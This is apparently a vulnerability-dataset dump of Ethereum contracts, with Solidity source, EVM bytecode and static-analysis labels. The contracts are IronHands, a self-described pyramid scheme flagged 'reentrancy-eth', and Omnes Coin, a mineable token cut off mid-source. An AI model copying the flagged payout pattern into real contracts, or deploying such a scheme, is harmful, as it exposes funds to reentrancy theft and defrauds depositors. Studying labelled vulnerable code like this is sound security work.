050565b611f2281612577565b82525050565b6000611f33826123d3565b611f3d81856123fc565b9350611f4d818560208601612589565b611f568161261a565b840191505092915050565b6000611f6e6023836123fc565b9150611f798261262b565b604082019050919050565b6000611f91602a836123fc565b9150611f9c8261267a565b604082019050919050565b6000611fb46022836123fc565b9150611fbf826126c9565b604082019050919050565b6000611fd7601b836123fc565b9150611fe282612718565b602082019050919050565b6000611ffa6021836123fc565b915061200582612741565b604082019050919050565b600061201d6020836123fc565b915061202882612790565b602082019050919050565b60006120406029836123fc565b915061204b826127b9565b604082019050919050565b60006120636025836123fc565b915061206e82612808565b604082019050919050565b60006120866024836123fc565b915061209182612857565b604082019050919050565b60006120a96017836123fc565b91506120b4826128a6565b602082019050919050565b6120c881612560565b82525050565b6120d78161256a565b82525050565b60006020820190506120f26000830184611e9d565b92915050565b600060408201905061210d6000830185611e9d565b61211a6020830184611e9d565b9392505050565b60006040820190506121366000830185611e9d565b61214360208301846120bf565b9392505050565b600060c08201905061215f6000830189611e9d565b61216c60208301886120bf565b6121796040830187611f19565b6121866060830186611f19565b6121936080830185611e9d565b6121a060a08301846120bf565b979650505050505050565b60006020820190506121c06000830184611f0a565b92915050565b600060208201905081810360008301526121e08184611f28565b905092915050565b6000602082019050818103600083015261220181611f61565b9050919050565b6000602082019050818103600083015261222181611f84565b9050919050565b6000602082019050818103600083015261224181611fa7565b9050919050565b6000602082019050818103600083015261226181611fca565b9050919050565b6000602082019050818103600083015261228181611fed565b9050919050565b600060208201905081810360008301526122a181612010565b9050919050565b600060208201905081810360008301526122c181612033565b9050919050565b600060208201905081810360008301526122e181612056565b9050919050565b6000602082019050818103600083015261230181612079565b9050919050565b600060208201905081810360008301526123218161209c565b9050919050565b600060208201905061233d60008301846120bf565b92915050565b600060a08201905061235860008301886120bf565b6123656020830187611f19565b81810360408301526123778186611eac565b90506123866060830185611e9d565b61239360808301846120bf565b9695505050505050565b60006020820190506123b260008301846120ce565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061241882612560565b915061242383612560565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612458576124576125bc565b5b828201905092915050565b600061246e82612560565b915061247983612560565b925082612489576124886125eb565b5b828204905092915050565b600061249f82612560565b91506124aa83612560565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124e3576124e26125bc565b5b828202905092915050565b60006124f982612560565b915061250483612560565b925082821015612517576125166125bc565b5b828203905092915050565b600061252d82612540565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061258282612560565b9050919050565b60005b838110156125a757808201518184015260208101905061258c565b838111156125b6576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6128d881612522565b81146128e357600080fd5b50565b6128ef81612534565b81146128fa57600080fd5b50565b61290681612560565b811461291157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005aa9aaee6917dd4540788cd7c1c2fc1b76d314d97df1f2eb67f3d5d25a078c964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,770
0xa3bb0578d04d3b8efc6544ad31dd5be136b61db0
pragma solidity ^0.4.21; /** * * * * * ATTENTION! * * This code? IS NOT DESIGNED FOR ACTUAL USE. * * The author of this code really wishes you wouldn't send your ETH to it, but it's been * done with P3D and there are very happy users because of it. * * No, seriously. It's probablly illegal anyway. So don't do it. * * Let me repeat that: Don't actually send money to this contract. You are * likely breaking several local and national laws in doing so. * * This code is intended to educate. Nothing else. If you use it, expect S.W.A.T * teams at your door. I wrote this code because I wanted to experiment * with smart contracts, and I think code should be open source. So consider * it public domain, No Rights Reserved. Participating in pyramid schemes * is genuinely illegal so just don't even think about going beyond * reading the code and understanding how it works. * * Seriously. I'm not kidding. It's probablly broken in some critical way anyway * and will suck all your money out your wallet, install a virus on your computer * sleep with your wife, kidnap your children and sell them into slavery, * make you forget to file your taxes, and give you cancer. * * * What it does: * * It takes 50% of the ETH in it and buys tokens. * It takes 50% of the ETH in it and pays back depositors. * Depositors get in line and are paid out in order of deposit, plus the deposit * percent. * The tokens collect dividends, which in turn pay into the payout pool * to be split 50/50. * * If you're seeing this contract in it's initial configuration, it should be * set to 200% (double deposits), and pointed at PoWH: * 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe * * But you should verify this for yourself. * * */ contract ERC20Interface { function transfer(address to, uint256 tokens) public returns (bool success); } contract REV { function buy(address) public payable returns(uint256); function withdraw() public; function myTokens() public view returns(uint256); function myDividends(bool) public view returns(uint256); } contract Owned { address public owner; address public ownerCandidate; constructor() public { owner = 0xc42559F88481e1Df90f64e5E9f7d7C6A34da5691; } modifier onlyOwner { require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner { ownerCandidate = _newOwner; } function acceptOwnership() public { require(msg.sender == ownerCandidate); owner = ownerCandidate; } } contract IronHands is Owned { /** * Modifiers */ /** * Only owners are allowed. */ modifier onlyOwner(){ require(msg.sender == owner); _; } /** * The tokens can never be stolen. */ modifier notPooh(address aContract){ require(aContract != address(weak_hands)); _; } modifier limitBuy() { if(msg.value > limit) { // check if the transaction is over limit eth (1000 finney = 1 eth) revert(); // if so : revert the transaction } _; } /** * Events */ event Deposit(uint256 amount, address depositer); event Purchase(uint256 amountSpent, uint256 tokensReceived); event Payout(uint256 amount, address creditor); event Dividends(uint256 amount); /** * Structs */ struct Participant { address etherAddress; uint256 payout; } //Total ETH managed over the lifetime of the contract uint256 throughput; //Total ETH received from dividends uint256 dividends; //The percent to return to depositers. 100 for 00%, 200 to double, etc. uint256 public multiplier; //Where in the line we are with creditors uint256 public payoutOrder = 0; //How much is owed to people uint256 public backlog = 0; //The creditor line Participant[] public participants; //How much each person is owed mapping(address => uint256) public creditRemaining; //What we will be buying REV weak_hands; // Limitation uint256 public limit = 50 finney; // 1000 = 1eth, 100 = 0,1 eth | 50 finney = 0.05 eth /** * Constructor */ /* */ constructor() public { address cntrct = 0x05215FCE25902366480696F38C3093e31DBCE69A; // contract address multiplier = 125; // 200 to double | 125 = 25% more weak_hands = REV(cntrct); } /** * Fallback function allows anyone to send money for the cost of gas which * goes into the pool. Used by withdraw/dividend payouts so it has to be cheap. */ function() payable public { } /** * Deposit ETH to get in line to be credited back the multiplier as a percent, * add that ETH to the pool, get the dividends and put them in the pool, * then pay out who we owe and buy more tokens. */ function deposit() payable public limitBuy() { //You have to send more than 1000000 wei. require(msg.value > 1000000); //Compute how much to pay them uint256 amountCredited = (msg.value * multiplier) / 100; //Get in line to be paid back. participants.push(Participant(msg.sender, amountCredited)); //Increase the backlog by the amount owed backlog += amountCredited; //Increase the amount owed to this address creditRemaining[msg.sender] += amountCredited; //Emit a deposit event. emit Deposit(msg.value, msg.sender); //If I have dividends if(myDividends() > 0){ //Withdraw dividends withdraw(); } //Pay people out and buy more tokens. payout(); } /** * Take 50% of the money and spend it on tokens, which will pay dividends later. * Take the other 50%, and use it to pay off depositors. */ function payout() public { //Take everything in the pool uint balance = address(this).balance; //It needs to be something worth splitting up require(balance > 1); //Increase our total throughput throughput += balance; //Split it into two parts uint investment = balance / 2; //Take away the amount we are investing from the amount to send balance -= investment; //Invest it in more tokens. uint256 tokens = weak_hands.buy.value(investment).gas(1000000)(msg.sender); //Record that tokens were purchased emit Purchase(investment, tokens); //While we still have money to send while (balance > 0) { //Either pay them what they are owed or however much we have, whichever is lower. uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout; //if we have something to pay them if(payoutToSend > 0){ //subtract how much we've spent balance -= payoutToSend; //subtract the amount paid from the amount owed backlog -= payoutToSend; //subtract the amount remaining they are owed creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend; //credit their account the amount they are being paid participants[payoutOrder].payout -= payoutToSend; //Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more. if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){ //Record that they were paid emit Payout(payoutToSend, participants[payoutOrder].etherAddress); }else{ //undo the accounting, they are being skipped because they are not payable. balance += payoutToSend; backlog += payoutToSend; creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend; participants[payoutOrder].payout += payoutToSend; } } //If we still have balance left over if(balance > 0){ // go to the next person in line payoutOrder += 1; } //If we've run out of people to pay, stop if(payoutOrder >= participants.length){ return; } } } /** * Number of tokens the contract owns. */ function myTokens() public view returns(uint256){ return weak_hands.myTokens(); } /** * Number of dividends owed to the contract. */ function myDividends() public view returns(uint256){ return weak_hands.myDividends(true); } /** * Number of dividends received by the contract. */ function totalDividends() public view returns(uint256){ return dividends; } /** * Request dividends be paid out and added to the pool. */ function withdraw() public { uint256 balance = address(this).balance; weak_hands.withdraw.gas(1000000)(); uint256 dividendsPaid = address(this).balance - balance; dividends += dividendsPaid; emit Dividends(dividendsPaid); } /** * Number of participants who are still owed. */ function backlogLength() public view returns (uint256){ return participants.length - payoutOrder; } /** * Total amount still owed in credit to depositors. */ function backlogAmount() public view returns (uint256){ return backlog; } /** * Total number of deposits in the lifetime of the contract. */ function totalParticipants() public view returns (uint256){ return participants.length; } /** * Total amount of ETH that the contract has delt with so far. */ function totalSpent() public view returns (uint256){ return throughput; } /** * Amount still owed to an individual address */ function amountOwed(address anAddress) public view returns (uint256) { return creditRemaining[anAddress]; } /** * Amount owed to this person. */ function amountIAmOwed() public view returns (uint256){ return amountOwed(msg.sender); } /** * A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them. */ function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPooh(tokenAddress) returns (bool success) { return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); } function changeLimit(uint256 newLimit) public onlyOwner returns (uint256) { limit = newLimit * 1 finney; return limit; } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a44b9cf146101405780631b3ed7221461016b5780633151ecfc1461019657806335c1d349146101c157806339af0513146102355780633ccfd60b146102605780633febb070146102775780635f504a82146102a257806363bd1d4a146102f95780636cff6f9d146103105780636d33b42b1461033b57806379ba50971461037c5780638da5cb5b14610393578063949e8acd146103ea578063997664d714610415578063a0ca0a5714610440578063a26dbf261461046b578063a4d66daf14610496578063a6f9dae1146104c1578063d0e30db014610504578063d493b9ac1461050e578063e5cf229714610593578063fb346eab146105ea578063ff5d18ca14610615575b005b34801561014c57600080fd5b5061015561066c565b6040518082815260200191505060405180910390f35b34801561017757600080fd5b5061018061067c565b6040518082815260200191505060405180910390f35b3480156101a257600080fd5b506101ab610682565b6040518082815260200191505060405180910390f35b3480156101cd57600080fd5b506101ec6004803603810190808035906020019092919050505061075a565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561024157600080fd5b5061024a6107ad565b6040518082815260200191505060405180910390f35b34801561026c57600080fd5b506102756107b3565b005b34801561028357600080fd5b5061028c6108da565b6040518082815260200191505060405180910390f35b3480156102ae57600080fd5b506102b76108e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030557600080fd5b5061030e61090a565b005b34801561031c57600080fd5b50610325610e16565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b5061036660048036038101908080359060200190929190505050610e1c565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610e93565b005b34801561039f57600080fd5b506103a8610f53565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f657600080fd5b506103ff610f78565b6040518082815260200191505060405180910390f35b34801561042157600080fd5b5061042a611040565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b5061045561104a565b6040518082815260200191505060405180910390f35b34801561047757600080fd5b5061048061105b565b6040518082815260200191505060405180910390f35b3480156104a257600080fd5b506104ab611068565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b50610502600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061106e565b005b61050c61110d565b005b34801561051a57600080fd5b50610579600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112da565b604051808215151515815260200191505060405180910390f35b34801561059f57600080fd5b506105d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061147d565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b506105ff6114c6565b6040518082815260200191505060405180910390f35b34801561062157600080fd5b50610656600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d0565b6040518082815260200191505060405180910390f35b60006106773361147d565b905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663688abbf760016040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050602060405180830381600087803b15801561071a57600080fd5b505af115801561072e573d6000803e3d6000fd5b505050506040513d602081101561074457600080fd5b8101908080519060200190929190505050905090565b60078181548110151561076957fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60065481565b6000803073ffffffffffffffffffffffffffffffffffffffff16319150600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b620f42406040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600088803b15801561085a57600080fd5b5087f115801561086e573d6000803e3d6000fd5b5050505050813073ffffffffffffffffffffffffffffffffffffffff1631039050806003600082825401925050819055507fd7cefab74b4b11d01e168f9d1e2a28e7bf8263c3acf9b9fdb802fa666a49455b816040518082815260200191505060405180910390a15050565b6000600654905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000803073ffffffffffffffffffffffffffffffffffffffff1631935060018411151561093957600080fd5b8360026000828254019250508190555060028481151561095557fe5b0492508284039350600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f088d54784620f424090336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506020604051808303818589803b158015610a1f57600080fd5b5088f1158015610a33573d6000803e3d6000fd5b5050505050506040513d6020811015610a4b57600080fd5b810190808051906020019092919050505091507f350df6fcc944b226b77efc36902e19b43c566d75173622086e809d46dfbc22208383604051808381526020018281526020019250505060405180910390a15b6000841115610e0f576007600554815481101515610ab857fe5b9060005260206000209060020201600101548410610af8576007600554815481101515610ae157fe5b906000526020600020906002020160010154610afa565b835b90506000811115610dda5780840393508060066000828254039250508190555080600860006007600554815481101515610b3057fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806007600554815481101515610bbb57fe5b9060005260206000209060020201600101600082825403925050819055506007600554815481101515610bea57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681620f424090604051600060405180830381858888f1935050505015610d04577f9b5d1a613fa5f0790b36b13103706e31fca06b229d87e9915b29fc20c1d76490816007600554815481101515610c8557fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1610dd9565b80840193508060066000828254019250508190555080600860006007600554815481101515610d2f57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806007600554815481101515610dba57fe5b9060005260206000209060020201600101600082825401925050819055505b5b6000841115610df55760016005600082825401925050819055505b600780549050600554101515610e0a57610e10565b610a9e565b5b50505050565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7957600080fd5b66038d7ea4c680008202600a81905550600a549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eef57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663949e8acd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561100057600080fd5b505af1158015611014573d6000803e3d6000fd5b505050506040513d602081101561102a57600080fd5b8101908080519060200190929190505050905090565b6000600354905090565b600060055460078054905003905090565b6000600780549050905090565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110c957600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a5434111561111e57600080fd5b620f42403411151561112f57600080fd5b6064600454340281151561113f57fe5b049050600760408051908101604052803373ffffffffffffffffffffffffffffffffffffffff168152602001838152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050508060066000828254019250508190555080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a533433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a160006112c0610682565b11156112cf576112ce6107b3565b5b6112d761090a565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133757600080fd5b83600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561139557600080fd5b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b505050506040513d602081101561146257600080fd5b81019080805190602001909291905050509150509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600254905090565b600860205280600052604060002060009150905054815600a165627a7a723058201329c0e70da128a25b7175175685e3bd02c69adff2eea843dce7a53fbfae7ec80029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,771
0xcc0cbd65d62249f90c51461cbb66b98ee6eaaa2c
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Omnes Coin' contract // Mineable ERC20 Token using Proof Of Work // // Symbol : OME // Name : Omnes Coin // Total supply: 7,000,000,000.00 // Decimals : 8 // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } library ExtendedMath { //return the smaller of the two inputs (a or b) function limitLessThan(uint a, uint b) internal pure returns (uint c) { if(a > b) return b; return a; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract _OmnesCoinToken is ERC20Interface, Owned { using SafeMath for uint; using ExtendedMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public latestDifficultyPeriodStarted; uint public epochCount;//number of 'blocks' mined uint public _BLOCKS_PER_READJUSTMENT = 1024; //a little number uint public _MINIMUM_TARGET = 2**16; //a big number is easier ; just find a solution that is smaller //uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224 uint public _MAXIMUM_TARGET = 2**234; uint public miningTarget; bytes32 public challengeNumber; //generate a new one when a new reward is minted uint public rewardEra; uint public maxSupplyForEra; address public lastRewardTo; uint public lastRewardAmount; uint public lastRewardEthBlockNumber; bool locked = false; mapping(bytes32 => bytes32) solutionForChallenge; uint public tokensMinted; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function _OmnesCoinToken() public onlyOwner{ symbol = "OME"; name = "Omnes Coin"; decimals = 8; _totalSupply = 7000000000 * 10**uint(decimals); if(locked) revert(); locked = true; tokensMinted = 2800000000 * 10**uint(decimals); rewardEra = 0; maxSupplyForEra = _totalSupply.div(2); miningTarget = _MAXIMUM_TARGET; latestDifficultyPeriodStarted = block.number; _startNewMiningEpoch(); //The owner gets nothing! You must mine this ERC20 token //balances[owner] = _totalSupply; //Transfer(address(0), owner, _totalSupply); } function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) { //the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks bytes32 digest = keccak256(challengeNumber, msg.sender, nonce ); //the challenge digest must match the expected if (digest != challenge_digest) revert(); //the digest must be smaller than the target if(uint256(digest) > miningTarget) revert(); //only allow one reward for each challenge bytes32 solution = solutionForChallenge[challengeNumber]; solutionForChallenge[challengeNumber] = digest; if(solution != 0x0) revert(); //prevent the same answer from awarding twice uint reward_amount = getMiningReward(); balances[msg.sender] = balances[msg.sender].add(reward_amount); tokensMinted = tokensMinted.add(reward_amount); //Cannot mint more tokens than there are assert(tokensMinted <= maxSupplyForEra); //set readonly diagnostics data lastRewardTo = msg.sender; lastRewardAmount = reward_amount; lastRewardEthBlockNumber = block.number; _startNewMiningEpoch(); Mint(msg.sender, reward_amount, epochCount, challengeNumber ); return true; } //a new 'block' to be mined function _startNewMiningEpoch() internal { //if max supply for the era will be exceeded next reward round then enter the new era before that happens //40 is the final reward era, almost all tokens minted //once the final era is reached, more tokens will not be given out because the assert function if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39) { rewardEra = rewardEra + 1; } //set the next minted supply at which the era will change // total supply is 700000000000000000 because of 8 decimal places maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1)); epochCount = epochCount.add(1); //every so often, readjust difficulty. Dont readjust when deploying if(epochCount % _BLOCKS_PER_READJUSTMENT == 0) { _reAdjustDifficulty(); } //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks //do this last since this is a protection mechanism in the mint() function challengeNumber = block.blockhash(block.number - 1); } //https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F //as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days //readjust the target by 5 percent function _reAdjustDifficulty() internal { uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted; //assume 360 ethereum blocks per hour //we want miners to spend 10 minutes to mine each 'block', about 60 ethereum blocks = one OmnesCoin epoch uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256 uint targetEthBlocksPerDiffPeriod = epochsMined * 60; //should be 60 times slower than ethereum //if there were less eth blocks passed in time than expected if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod ) { uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod ); uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000); // If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100. //make it harder miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 % }else{ uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod ); uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000 //make it easier miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 % } latestDifficultyPeriodStarted = block.number; if(miningTarget < _MINIMUM_TARGET) //very difficult { miningTarget = _MINIMUM_TARGET; } if(miningTarget > _MAXIMUM_TARGET) //very easy { miningTarget = _MAXIMUM_TARGET; } } //this is a recent ethereum block hash, used to prevent pre-mining future blocks function getChallengeNumber() public constant returns (bytes32) { return challengeNumber; } //the number of zeroes the digest of the PoW solution requires. Auto adjusts function getMiningDifficulty() public constant returns (uint) { return _MAXIMUM_TARGET.div(miningTarget); } function getMiningTarget() public constant returns (uint) { return miningTarget; } //21m coins total //reward begins at 50 and is cut in half every reward era (as tokens are mined) function getMiningReward() public constant returns (uint) { //once we get half way thru the coins, only get 25 per block //every reward era, the reward amount halves. return (50 * 10**uint(decimals) ).div( 2**rewardEra ) ; } //help debug mining software function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); return digest; } //help debug mining software function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); if(uint256(digest) > testTarget) revert(); return (digest == challenge_digest); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // 